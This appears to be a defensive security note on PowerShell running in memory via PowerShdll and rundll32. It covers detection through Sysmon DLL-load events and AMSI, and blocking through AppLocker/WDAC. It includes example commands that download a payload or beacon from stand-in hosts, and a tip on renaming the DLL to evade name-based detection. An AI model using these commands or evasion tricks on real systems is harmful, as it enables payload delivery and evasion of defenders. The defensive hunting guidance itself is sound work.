🔹 Background

Normally, PowerShell is launched via `powershell.exe` (or `pwsh.exe`).
But the **actual engine** lives inside the .NET assembly:

```
C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation.dll
```

- `powershell.exe` is just a **host process**.
- The DLL (`System.Management.Automation.dll`) contains the **real PowerShell engine**.
- Attackers can skip the EXE entirely and still run PowerShell in memory.

Example tool: **PowerShdll**

```
rundll32.exe PowerShdll.dll,main "Invoke-WebRequest http[:]//malicious.site/payload.ps1"
```

🔹 My Initial Doubts (and Answers)

❓ If powershell.exe is blocked, won't DLL execution also be blocked?

- ❌ No. Blocking the EXE only prevents that binary.
- Attackers can still load the DLL in other processes (e.g., `rundll32.exe`).

❓ How can attackers make network calls without powershell.exe?

- PowerShell commands (`Invoke-WebRequest`, `New-Object Net.WebClient`) rely on **.NET classes**, not the exe.
- So the DLL can still perform downloads, spawn processes, or run persistence code.

❓ Why rename the DLL (e.g., update.dll)?

- Defenders may flag `PowerShdll.dll` by name.

Renaming tricks weak detections. Example:

```
rundll32.exe update.dll,main "Invoke-WebRequest
http[:]//1.2.3.4/beacon"
```

-

🔹 Detection & Hunting Guidance

1. **Sysmon Event ID 7 (DLL Loads)**
    - Alert if `System.Management.Automation.dll` is loaded by **any process other than**:
        - `powershell.exe`
        - `powershell_ise.exe`
        - `pwsh.exe`
2. Example suspicious: `rundll32.exe`, `winword.exe`, `wscript.exe`.
3. **Process Behavior**
    - `rundll32.exe` rarely makes network calls → alert if it does.
    - Check for child processes, registry persistence, or file writes.
4. **AMSI & ScriptBlockLogging**
    - Even if DLL-loaded, AMSI may still capture script contents (`Invoke-WebRequest`, `IEX`).
    - Review Event ID 1116 (Defender AMSI detections).

🔹 Remediation & Blocking

- **Blocking powershell.exe is not enough**:

1. It only stops the host binary.
2. The DLL (`System.Management.Automation.dll`) can still be loaded by other binaries.

- **How to fully restrict PowerShell**:
  1. **AppLocker / WDAC**
     - Block both `powershell.exe` and non-approved loading of `System.Management.Automation.dll`.
     - Allow only admin-signed apps to use PowerShell if required.
  2. **Constrained Language Mode**
     - Forces PowerShell into restricted mode (blocks reflection, Add-Type, etc).
  3. **Remove PowerShell** (not recommended in enterprise)
     - Via Windows Features / DISM. Breaks admin tooling.

🔹 Why DLL-based PowerShell Is Different from Normal

- Normal PowerShell = `powershell.exe` visible in process tree.
- DLL-based PowerShell = hosted inside **another process** (e.g., `rundll32.exe`), making detection harder.
- This evasion bypasses naive rules that only look for `powershell.exe`.

🔹 Summary

- Attackers can bypass powershell.exe restrictions using PowerShdll or custom loaders.
- Detection must focus on:

    - **System.Management.Automation.dll loads in unusual processes**
    - **Suspicious rundll32.exe activity**
    - **AMSI logs**
- Blocking both EXE and DLL (via AppLocker/WDAC) is required for true restriction.